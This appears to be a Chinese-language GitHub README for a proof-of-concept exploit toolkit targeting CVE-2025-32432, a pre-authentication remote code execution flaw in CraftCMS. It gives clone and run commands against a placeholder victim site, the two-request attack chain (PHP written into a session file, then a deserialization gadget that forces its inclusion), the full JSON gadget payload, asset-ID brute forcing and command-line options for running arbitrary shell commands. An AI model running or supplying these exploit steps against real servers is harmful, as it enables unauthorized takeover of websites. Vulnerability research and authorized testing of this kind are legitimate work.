
用于CraftCMS中通过反序列化gadget链实现预认证远程代码执行的Python概念验证漏洞利用程序。包含安全探测和完整的双包RCE,带有自动资产ID暴力破解功能。
CraftCMS 3.x / 4.x / 5.x 的预身份认证远程代码执行
PoC维护者: C.T.Y. (仅用于研究)
漏洞发现: Nicolas Bourras – Orange Cyberdefense
其他PoC灵感: SensePost 研究 & Chirag Artani 的公开脚本
本仓库包含两个针对 CVE-2025-32432 的互补型 Python 利用脚本——该漏洞是 CraftCMS 资产转换端点上的一个预身份认证 RCE。
| 脚本 | 用途 |
|---|---|
craftcms_rce_php_check.py | 安全探测 — 使用 FnStream gadget 发送 一个请求 验证是否可执行任意 PHP (打印 phpinfo() 输出)。适合低影响确认。 |
craftcms_final_payload.py | 完整利用 — 两包链:首先通过 FnStream 植入 PHP,然后利用 FieldLayoutBehavior → PhpManager gadget 执行 任意 shell 命令。 |
本 README 中描述的脚本是第二个脚本。
第一个脚本包含在内以便完整性和快速验证,由 Chirag Artani 提供 — 参见《致谢》。
脚本文件名已为了清晰而调整;原始结构和想法由 Chirag Artani 提供。
仅供 教育及授权安全测试 使用。
在 未经明确书面许可 的情况下针对系统使用这些脚本是 非法且不道德的。
assetId 暴力破解(404 → 302 启发式)-c/--cmd)pip install -r requirements.txt 安装):
requestsurllib3# 克隆仓库
git clone https://github.com/CTY-Research-1//CVE-2025-32432-2pkt.git
cd CVE-2025-32432-2pkt
# 安装依赖
pip install -r requirements.txt
python3 craftcms_rce_php_check.py -u https://victim.com
如果看到 phpinfo() 输出,则目标很可能可用。
python3 craftcms_final_payload.py -u https://victim.com -c "id"
/index.php?p=admin/dashboard&a=<?=...?> 将任意 PHP 写入 /tmp/sess_<ID>。actions/assets/generate-transform,携带 FieldLayoutBehavior → PhpManager gadget,强制 CraftCMS require() 会话文件,执行代码。{
"assetId": 11,
"handle": {
"width": 1,
"height": 1,
"as hack": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/tmp/sess_<SessionID>"
}
]
}
}
}
assetId 暴力破解)phpinfo 检查脚本 (craftcms_rce_php_check.py) 和早期研究思路
脚本文件名已为了清晰而调整;原始结构和想法由 Chirag Artani 提供。责任声明: 使用本代码所引起的任何法律风险或损害,均由使用者自行承担。
MIT 许可协议 — 见 LICENSE。
僅供教學與合法授權測試使用。未經授權操作即屬違法。
python3 craftcms_rce_php_check.py -u https://目標站
python3 craftcms_final_payload.py -u https://目標站 -c "id"
參數與英文版相同。
phpinfo 檢查腳本
此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。使用本程式碼造成之任何法律風險與損失,由使用者自行承擔。
MIT License
| 选项 | 长格式 | 描述 | 必需 |
|---|
-u | --url | 目标基础 URL(无尾部斜杠) | ✅ |
-c | --cmd | 要执行的 shell 命令 | ✅ |
-a | --asset | 已知有效的 assetId | ❌ |
-s | --scan-max | 暴力限制(默认:300) | ❌ |
| 檔案 | 用途 |
|---|
craftcms_rce_php_check.py | PHP 執行可行性檢查:單一請求,使用 FnStream 觸發 phpinfo(),以低影響方式驗證目標是否易受攻擊。此檔案名稱為說明用途而調整,原始概念與程式架構來自 Chirag Artani。 |
craftcms_final_payload.py | 兩包鏈完整利用:先以 FnStream 植入 PHP,再透過 PhpManager 執行任意指令。 |